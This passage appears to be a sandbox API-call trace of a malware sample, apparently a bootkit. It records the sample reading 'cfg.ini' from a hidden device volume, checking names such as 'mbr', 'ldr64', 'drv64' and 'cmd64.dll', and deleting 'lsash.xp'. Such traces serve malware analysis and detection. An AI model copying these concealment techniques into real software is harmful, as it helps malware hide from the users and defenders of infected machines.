[0128.693] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.693] KeEnterCriticalRegion () [0128.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.693] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.693] KeLeaveCriticalRegion () [0128.693] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.693] KeEnterCriticalRegion () [0128.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.693] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.693] IdePortDispatch () returned 0x103 [0128.693] KeWaitForMutexObject () returned 0x0 [0128.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.694] KeLeaveCriticalRegion () [0128.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.694] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.694] KeEnterCriticalRegion () [0128.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.694] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0d000 [0128.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.694] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.694] IdePortDispatch () returned 0x103 [0128.694] KeWaitForMutexObject () returned 0x0 [0128.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.694] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.694] IdePortDispatch () returned 0x103 [0128.694] KeWaitForMutexObject () returned 0x0 [0128.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.694] KeLeaveCriticalRegion () [0128.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.695] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.695] KeEnterCriticalRegion () [0128.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.695] KeLeaveCriticalRegion () [0128.695] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.695] KeEnterCriticalRegion () [0128.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.695] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.695] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c001d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.695] KeLeaveCriticalRegion () [0128.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.695] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.695] KeEnterCriticalRegion () [0128.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.695] ExFreePoolWithTag (P=0xfffffa8003c00110, Tag=0x0) [0128.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.695] KeLeaveCriticalRegion () [0128.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.695] ReleaseMutex (hMutex=0xf0) returned 1 [0128.695] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.695] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.695] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.695] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.696] KeEnterCriticalRegion () [0128.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.696] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.696] IdePortDispatch () returned 0x103 [0128.696] KeWaitForMutexObject () returned 0x0 [0128.696] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.696] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.696] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.696] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.696] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.696] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.696] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.696] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.696] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.696] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.696] KeLeaveCriticalRegion () [0128.696] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.696] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.696] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.696] KeEnterCriticalRegion () [0128.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.696] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.696] IdePortDispatch () returned 0x103 [0128.696] KeWaitForMutexObject () returned 0x0 [0128.697] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.697] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.697] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.697] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.697] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.697] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.697] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.697] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.697] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.697] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.697] KeLeaveCriticalRegion () [0128.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.697] ReleaseMutex (hMutex=0x100) returned 1 [0128.697] Sleep (dwMilliseconds=0x2bf20) [0128.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fe82790, dwHighDateTime=0x1d24fa4)) [0128.704] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.704] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.704] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.704] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.704] KeEnterCriticalRegion () [0128.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.704] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.704] IdePortDispatch () returned 0x103 [0128.704] KeWaitForMutexObject () returned 0x0 [0128.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.705] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.705] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.705] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.705] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.705] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01dc0 [0128.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.705] KeLeaveCriticalRegion () [0128.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.705] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.705] KeEnterCriticalRegion () [0128.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.705] KeLeaveCriticalRegion () [0128.705] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.705] KeEnterCriticalRegion () [0128.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.705] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.705] IdePortDispatch () returned 0x103 [0128.705] KeWaitForMutexObject () returned 0x0 [0128.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.705] KeLeaveCriticalRegion () [0128.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.705] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.705] KeEnterCriticalRegion () [0128.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.705] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b10000 [0128.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.706] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.706] IdePortDispatch () returned 0x103 [0128.706] KeWaitForMutexObject () returned 0x0 [0128.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.706] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.706] IdePortDispatch () returned 0x103 [0128.706] KeWaitForMutexObject () returned 0x0 [0128.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.706] KeLeaveCriticalRegion () [0128.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.707] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.707] KeEnterCriticalRegion () [0128.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.707] KeLeaveCriticalRegion () [0128.707] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.707] KeEnterCriticalRegion () [0128.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.707] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.707] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.707] KeLeaveCriticalRegion () [0128.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.707] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.707] KeEnterCriticalRegion () [0128.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.707] ExFreePoolWithTag (P=0xfffffa8003c01dc0, Tag=0x0) [0128.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.707] KeLeaveCriticalRegion () [0128.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.707] ReleaseMutex (hMutex=0xf0) returned 1 [0128.707] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.707] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.707] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.707] KeEnterCriticalRegion () [0128.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.707] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.707] IdePortDispatch () returned 0x103 [0128.708] KeWaitForMutexObject () returned 0x0 [0128.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.708] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.708] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.708] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.708] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.708] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039bbb80 [0128.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.708] KeLeaveCriticalRegion () [0128.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.708] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.708] KeEnterCriticalRegion () [0128.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.708] KeLeaveCriticalRegion () [0128.708] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.708] KeEnterCriticalRegion () [0128.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.708] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.708] IdePortDispatch () returned 0x103 [0128.708] KeWaitForMutexObject () returned 0x0 [0128.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.708] KeLeaveCriticalRegion () [0128.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.709] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.709] KeEnterCriticalRegion () [0128.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b11000 [0128.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.709] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.709] IdePortDispatch () returned 0x103 [0128.709] KeWaitForMutexObject () returned 0x0 [0128.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.709] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.709] IdePortDispatch () returned 0x103 [0128.709] KeWaitForMutexObject () returned 0x0 [0128.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.709] KeLeaveCriticalRegion () [0128.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.710] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.710] KeEnterCriticalRegion () [0128.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.710] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.710] KeLeaveCriticalRegion () [0128.710] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.710] KeEnterCriticalRegion () [0128.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.710] IoGetRequestorProcess 